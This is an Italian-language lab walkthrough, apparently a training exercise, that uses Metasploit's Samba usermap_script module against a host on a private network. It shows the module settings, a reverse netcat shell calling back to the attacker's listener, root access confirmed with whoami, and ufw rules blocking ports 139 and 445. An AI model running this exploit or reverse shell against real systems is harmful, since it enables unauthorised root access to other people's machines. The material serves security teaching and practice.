BONUS

Exploit di smb con il modulo usermap_script

Eseguiamo un attacco sfruttando le vulnerabilità del protocollo samba con il modulo usermap_script di metasploit.
Iniziamo aprendo il modulo se settando le impostazioni del caso.

```
msf6 exploit(multi/samba/usermap_script) > set rhost 192.168.50.101
rhost => 192.168.50.101
msf6 exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.50.101   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usi
ng-metasploit.html
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.50.100   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.
```

Successivamente lanciamo l'exploit e lanciamo comandi quali **whoami** per accertarci di avere avuto accesso come root. Da lì vediamo come ad esempio possiamo cambiare le regole del firewall a nostro piacimento.

```
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Command shell session 1 opened (192.168.50.100:4444 -> 192.168.50.101:57456) at 2024-01-16 15:18:06 +0100

whoami
root
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:02:40:9f
          inet addr:192.168.50.101  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe02:409f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1167 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1193 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:99097 (96.7 KB)  TX bytes:72841 (71.1 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:394 errors:0 dropped:0 overruns:0 frame:0
          TX packets:394 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:173809 (169.7 KB)  TX bytes:173809 (169.7 KB)

ufw deny 139
Rule updated
ufw deny 445
Rule updated
```